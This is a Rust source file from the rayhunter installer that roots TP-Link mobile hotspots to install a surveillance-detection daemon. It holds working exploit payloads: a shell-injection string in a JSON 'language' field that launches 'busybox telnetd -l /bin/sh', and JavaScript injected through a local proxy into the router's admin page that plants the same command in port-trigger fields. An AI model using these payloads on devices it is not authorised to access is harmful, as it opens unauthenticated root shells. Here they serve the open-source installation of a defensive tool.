Files
rayhunter/installer/src/tplink.rs
T
Markus Unterwaditzer 3e38f500a9 Install to /cache/rayhunter-data for tplink, add --data-dir parameter
This fixes several space-related issues at once.

We have observed the following phenomenon on TP-Link, Orbic and Moxee:

- Filling /data bricks the device (broken wifi, broken rndis, broken
  display)

- Filling /cache does not (it only bricks rayhunter if it's installed
  there, and it might break firmware updates)

Therefore it would make sense to store the entire rayhunter installation
in /cache.

This is a great idea for TP-Link and Moxee, because /cache is
significantly larger than /data. However, on Orbic, /data is
significantly larger than /cache!

This PR refactors orbic-network and tplink to use a shared codepath for
setting up the data directory. A symlink is created at /data/rayhunter,
and what it points to is device-specific:

- Orbic will have its data at `/data/rayhunter-data`

- There is a new alias `installer moxee` that overrides this to
  `/cache/rayhunter-data`

- TP-Link will have its data at /cache/rayhunter-data when there's no SD
  card, and /media/whatever when there is one.

In all cases, existing data is migrated to the new location. The user
can switch back and forth between two values of --data-dir and the data
will be moved over every time.

This PR has one huge wart, and that is that the USB installer for Orbic
remains untouched. The annoying reason for this is that the
DeviceConnection trait is insufficient to reflect all the different
kinds of shells you can have over USB: adb with fakeroot, and serial
with real root. I think it's not possible to create the right
directories with 'rootshell -c'.

I'm thinking of spawning a telnet server over serial, so that we can
just do telnet again, but this is for another time.
2026-02-24 13:42:31 -08:00

403 lines
14 KiB
Rust

use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Error};
use axum::{
Router,
body::{Body, to_bytes},
extract::{Request, State},
http::uri::Uri,
response::{IntoResponse, Response},
routing::any,
};
use bytes::{Bytes, BytesMut};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize;
use tokio::time::sleep;
use crate::InstallTpLink;
use crate::connection::{TelnetConnection, install_config, setup_data_directory};
use crate::output::println;
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
pub async fn main_tplink(
InstallTpLink {
skip_sdcard,
admin_ip,
sdcard_path,
reset_config,
data_dir,
}: InstallTpLink,
) -> Result<(), Error> {
let is_v3 = start_telnet(&admin_ip).await?;
tplink_run_install(
skip_sdcard,
admin_ip,
sdcard_path,
is_v3,
reset_config,
data_dir,
)
.await
}
#[derive(Deserialize)]
struct V3RootResponse {
result: u64,
}
pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
let client = reqwest::Client::new();
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
println!("Launching telnet on the device");
for endpoint in [
// TP-Link M7350 v3
// https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
// in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"),
// TP-Link M7310 v1
// (adaptation of M7350 exploit)
format!("http://{admin_ip}/cgi-bin/web_cgi"),
] {
let response = client.post(&endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
.send()
.await?;
if response.status() == 404 {
continue;
}
let Ok(V3RootResponse { result }) = response.error_for_status()?.json().await else {
// On TP-Link M7350 v9, the endpoint /cgi-bin/web_cgi returns 200 OK without launching telnet, and without a response body.
continue;
};
if result != 0 {
anyhow::bail!("Bad result code when trying to root device: {result}");
}
// resetting the language is important because otherwise the tplink's admin interface is
// unusuable.
let V3RootResponse { result } = client
.post(&endpoint)
.body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
.send()
.await?
.error_for_status()?
.json()
.await?;
if result != 0 {
anyhow::bail!("Bad result code when trying to reset the language: {result}");
}
// Final check. On v6, all of the above steps succeed, but telnet may still not be launched.
sleep(Duration::from_millis(1000)).await;
if telnet_send_command(addr, "true", "exit code 0", true)
.await
.is_err()
{
continue;
}
println!("Detected hardware revision v3, successfully opened telnet");
return Ok(true);
}
println!("This doesn't look like a v3 device, trying web-based exploit");
tplink_launch_telnet_v5(admin_ip).await?;
Ok(false)
}
async fn tplink_run_install(
skip_sdcard: bool,
admin_ip: String,
mut sdcard_path: String,
is_v3: bool,
reset_config: bool,
cli_data_dir: Option<String>,
) -> Result<(), Error> {
println!("Connecting via telnet to {admin_ip}");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
let data_dir = if let Some(dir) = cli_data_dir {
dir
} else if skip_sdcard {
"/cache/rayhunter-data".to_owned()
} else {
if sdcard_path.is_empty() {
let try_paths = [
// TP-Link hardware less than v9.0
"/media/card",
// TP-Link hardware v9.0
"/media/sdcard",
];
for path in try_paths {
if telnet_send_command(addr, &format!("ls {path}"), "exit code 0", true)
.await
.is_ok()
{
sdcard_path = path.to_owned();
break;
}
}
if sdcard_path.is_empty() {
// This error message is shown when the installer cannot figure out where this
// device _would_ mount an SD card, regardless of whether the user did insert one.
// If we get here, it's likely the installer was never tested for this hardware
// version.
anyhow::bail!(
"Unable to determine sdcard path. This is a bug. Please file an issue with your hardware version.\n\n\
The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
...but none of them exist.\n\n\
At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
);
}
}
println!("Mounting sdcard on {sdcard_path}");
if telnet_send_command(
addr,
&format!("mount | grep -q {sdcard_path}"),
"exit code 0",
true,
)
.await
.is_err()
{
// Try to mount the SD card, and if that fails we assume the user didn't insert one.
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few hours. Insert one and rerun this installer, or pass --skip-sdcard")?;
} else {
println!("sdcard already mounted");
}
sdcard_path
};
let mut conn = TelnetConnection::new(addr, true);
setup_data_directory(&mut conn, &data_dir).await?;
install_config(&mut conn, "tplink", reset_config).await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
telnet_send_file(
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
true,
)
.await?;
let init_script = get_rayhunter_daemon(if skip_sdcard { None } else { Some(&data_dir) });
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
init_script.as_bytes(),
true,
)
.await?;
telnet_send_command(
addr,
"chmod ugo+x /data/rayhunter/rayhunter-daemon",
"exit code 0",
true,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
true,
)
.await?;
// if the device is not v3, the JS-based root exploit already added rayhunter_daemon as a
// startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
// is unreliable on other hardware revisions too.
if is_v3 {
telnet_send_command(
addr,
"update-rc.d rayhunter_daemon defaults",
"exit code 0",
true,
)
.await?;
}
println!(
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
);
telnet_send_command(addr, "reboot", "exit code 0", true).await?;
Ok(())
}
#[derive(Clone)]
struct AppState {
client: HttpProxyClient,
admin_ip: String,
}
async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
let path = req.uri().path();
let path_query = req
.uri()
.path_and_query()
.map(|v| v.as_str())
.unwrap_or(path);
let uri = format!("http://{}{}", state.admin_ip, path_query);
// on version 5.2, this path is /settings.min.js
// on other versions, this path is /js/settings.min.js
let is_settings_js = path.ends_with("/settings.min.js");
if is_settings_js {
// It can happen that new versions of the admin JS do not take effect because of caching
// headers. This is a problem when trying multiple versions of the installer. Delete all
// caching headers and hope the server never erroneously returns a 304 that way.
req.headers_mut().remove("If-Modified-Since");
req.headers_mut().remove("If-None-Match");
}
*req.uri_mut() = Uri::try_from(uri).unwrap();
let mut response = state
.client
.request(req)
.await
.map_err(|_| StatusCode::BAD_REQUEST)?
.into_response();
if is_settings_js {
let (parts, body) = response.into_parts();
let data = to_bytes(body, usize::MAX)
.await
.map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
let mut data = BytesMut::from(data);
// inject some javascript into the admin UI to get us a telnet shell.
data.extend(br#";document.addEventListener("DOMContentLoaded", () => {
console.log("rayhunter: start polling");
var rayhunterSleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
var rayhunterPoll = window.setInterval(async () => {
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 1, openPort: "2401", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start &)", triggerProtocol: "TCP"});
console.log("rayhunter: first request succeeded, stopping rayhunter poll loop");
window.clearInterval(rayhunterPoll);
// PTModel.add actually does not wait for the request to finsh.
// Wait 1 second for the request to finish.
// Running both requests concurrently can get one of the two requests rejected, as
// sending a request with entryId: 2 is invalid if entryId 1 does not exist (yet)
// This only happens starting with firmware M7350(EU)_V9_9.0.2 Build 241021, earlier
// versions are not affected.
await rayhunterSleep(1000);
console.log("rayhunter: running second request");
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 2, openPort: "2402", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh &)", triggerProtocol: "TCP"});
// Do not use alert(), instead replace page with success message. Using alert() will
// block the event loop in such a way that any background promises are blocked from
// progress too. For example: The HTTP requests to register our port triggers!
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
}, 1000);
});"#);
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
response.headers_mut().remove("Content-Length");
}
Ok(response)
}
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
if telnet_send_command(addr, "true", "exit code 0", true)
.await
.is_ok()
{
println!("telnet already appears to be running");
return Ok(());
}
let client: HttpProxyClient =
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
.build(HttpConnector::new());
let app = Router::new()
.route("/", any(handler))
.route("/{*path}", any(handler))
.with_state(AppState {
client,
admin_ip: admin_ip.to_owned(),
});
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
.await
.unwrap();
println!("Listening on http://{}", listener.local_addr().unwrap());
println!("Please open above URL in your browser and log into the router to continue.");
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
while telnet_send_command(addr, "true", "exit code 0", true)
.await
.is_err()
{
sleep(Duration::from_millis(1000)).await;
}
// give the JavaScript code some additional time to run and persist the port triggers.
sleep(Duration::from_millis(1000)).await;
handle.abort();
Ok(())
}
fn get_rayhunter_daemon(sdcard_path: Option<&str>) -> String {
// Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
// changing the order in which daemons are started up seems to not work reliably.
//
// This part of the daemon dynamically generated because we may have to eventually add logic
// specific to a particular hardware revision here.
let prestart = match sdcard_path {
Some(path) => {
format!("(mount /dev/mmcblk0p1 {path} || true) 2>&1 | tee /tmp/rayhunter-mount.log")
}
None => String::new(),
};
crate::RAYHUNTER_DAEMON_INIT.replace("#RAYHUNTER-PRESTART", &prestart)
}
/// Root the TP-Link device and open an interactive shell
pub async fn shell(admin_ip: &str) -> Result<(), Error> {
start_telnet(admin_ip).await?;
interactive_shell(admin_ip, 23, true).await
}
#[test]
fn test_get_rayhunter_daemon() {
let s = get_rayhunter_daemon(Some("/media/card"));
assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
let s = get_rayhunter_daemon(None);
assert!(!s.contains("mmcblk0p1"));
assert!(!s.contains("#RAYHUNTER-PRESTART"));
}